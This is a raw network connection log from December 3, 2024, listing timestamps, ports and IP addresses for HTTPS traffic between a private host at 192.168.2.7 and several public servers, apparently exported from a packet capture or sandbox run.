Dec 3, 2024 17:41:49.903143883 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.903207064 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.903707027 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.903722048 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.909168005 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.909185886 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.909239054 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.909245014 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.909291029 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.912091970 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.912121058 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.912136078 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.912142992 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.912831068 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.913489103 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.913517952 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.914235115 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.914239883 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.916906118 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.916934013 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.917092085 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.917248964 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.917258024 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.349628925 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.350053072 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.350209951 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.350251913 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.350270987 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.350281954 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.350286007 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.357501984 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.360276937 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.360445976 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.371113062 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:50.371165991 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:50.371181965 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.371207952 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.371280909 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:50.371342897 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.371459007 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.371520042 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.371557951 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.371575117 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.372564077 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:50.372576952 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:50.372848034 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.372858047 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.374731064 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.374780893 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.374891043 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.375020981 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.375056982 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.440768957 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.441437960 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.441474915 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.442054033 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.442063093 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.491257906 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.491796970 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.491830111 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.492398024 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.492403984 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.886240005 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.889394999 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.889458895 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.889509916 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.889530897 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.899359941 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.899405956 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.899588108 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.900028944 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.900042057 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.945487976 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.948420048 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.949120045 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.949342012 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.949361086 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:50.949373007 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:50.949378014 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.029361010 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:51.029424906 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.029753923 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:51.030554056 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:51.030571938 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.541940928 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:51.542440891 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:51.542486906 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:51.543528080 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:51.543612003 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:51.544647932 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:51.544714928 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:51.598186016 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:51.598212004 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:51.644575119 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:51.646759033 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.647619963 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:51.647646904 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.648149014 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:51.648154020 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:51.840888977 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:51.841001034 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:51.842683077 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:51.842703104 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:51.842952013 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:51.880228043 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:51.927349091 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.086131096 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.087131023 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.087201118 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.087764025 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.087784052 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.087829113 CET	49812	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.087835073 CET	443	49812	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.103796005 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.103852034 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.103931904 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.106067896 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.106081963 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.171379089 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.171971083 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.171998978 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.172482967 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.172492981 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.194806099 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.195694923 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.195732117 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.196765900 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.196772099 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.362941980 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.363008022 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.363054037 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.363272905 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.363290071 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.363303900 CET	49813	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.363310099 CET	443	49813	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.431567907 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.431619883 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.431761980 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.432142973 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:52.432152033 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:52.507458925 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:52.507503033 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:52.507580996 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:52.507833958 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:52.507843971 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:52.616199970 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.616657019 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.616703987 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.616748095 CET	49814	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.616758108 CET	443	49814	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.621931076 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.621973038 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.622067928 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.622252941 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.622266054 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.697385073 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.697431087 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.697490931 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.697743893 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.697756052 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.722150087 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.723058939 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.723087072 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.723680019 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.723685026 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.763825893 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.767019033 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.767091036 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.767163992 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.767184973 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.767199039 CET	49815	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.767205000 CET	443	49815	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.771754980 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.771801949 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.771861076 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.772136927 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.772151947 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.932599068 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.933666945 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.933666945 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:52.933696032 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:52.933708906 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.169917107 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.173144102 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.173563957 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.173563957 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.173727989 CET	49816	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.173747063 CET	443	49816	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.176841974 CET	49827	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.176879883 CET	443	49827	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.179255962 CET	49827	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.179255962 CET	49827	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.179286957 CET	443	49827	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.387955904 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.391102076 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.391220093 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.391304016 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.391328096 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.391380072 CET	49817	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.391386986 CET	443	49817	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.395453930 CET	49828	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.395487070 CET	443	49828	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.395910978 CET	49828	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.396821976 CET	49828	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.396831036 CET	443	49828	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.816222906 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:53.818090916 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:53.839948893 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.847683907 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:53.847714901 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:53.848021984 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:53.848723888 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.848723888 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:53.848738909 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.848753929 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:53.849848032 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:53.895338058 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:54.239629984 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.240170956 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.240197897 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.241144896 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.241236925 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.242525101 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.242626905 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.242726088 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.242737055 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.276556969 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.279479027 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.279536009 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.286179066 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.327326059 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.327358961 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.327399015 CET	49818	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.327406883 CET	443	49818	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.343595028 CET	49831	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.343651056 CET	443	49831	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.343739986 CET	49831	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.343916893 CET	49831	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.343929052 CET	443	49831	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.348009109 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:54.348076105 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:54.348134995 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:54.349870920 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:54.349894047 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:54.349906921 CET	49822	443	192.168.2.7	23.218.208.109
Dec 3, 2024 17:41:54.349912882 CET	443	49822	23.218.208.109	192.168.2.7
Dec 3, 2024 17:41:54.418874025 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.419425011 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.419456005 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.419926882 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.419936895 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.439012051 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.439636946 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.439661980 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.440648079 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.440702915 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.443052053 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.443139076 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.443613052 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.443624020 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.487135887 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.626389027 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.627402067 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.627446890 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.628609896 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.628634930 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.777724028 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777748108 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777821064 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.777847052 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777896881 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777930975 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777945042 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.777956963 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.777971983 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.777990103 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.779498100 CET	49832	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.779541969 CET	443	49832	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.779608011 CET	49832	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.780139923 CET	49832	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.780153036 CET	443	49832	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.863693953 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.863718987 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.863768101 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.863791943 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.863878012 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.864131927 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.864181042 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.864208937 CET	49824	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.864226103 CET	443	49824	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.868232965 CET	49833	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.868277073 CET	443	49833	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.868355989 CET	49833	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.869457006 CET	49833	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.869472027 CET	443	49833	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.933906078 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.933923006 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.933931112 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.933964014 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.933986902 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.934041023 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.934041023 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.934062958 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.934180975 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.961980104 CET	443	49827	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.962784052 CET	49827	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.962798119 CET	443	49827	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.964857101 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.964878082 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.964903116 CET	49827	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:54.964907885 CET	443	49827	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:54.965151072 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:54.965174913 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:54.965250015 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:55.010618925 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:55.010637045 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:55.010737896 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:55.010763884 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:55.010868073 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:55.085444927 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.085510969 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.085839987 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.085839987 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.085891962 CET	49826	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.085911036 CET	443	49826	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.089664936 CET	49834	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.089694023 CET	443	49834	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.090172052 CET	49834	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.090300083 CET	49834	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.090311050 CET	443	49834	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.110984087 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.111010075 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.111136913 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.111136913 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.111164093 CET	443	49825	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:55.112549067 CET	49825	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:55.144546986 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:55.144571066 CET	443	49823	13.107.246.43	192.168.2.7
Dec 3, 2024 17:41:55.144717932 CET	49823	443	192.168.2.7	13.107.246.43
Dec 3, 2024 17:41:55.144717932 CET	49823	443	192.168.2.7	13.107.246.43
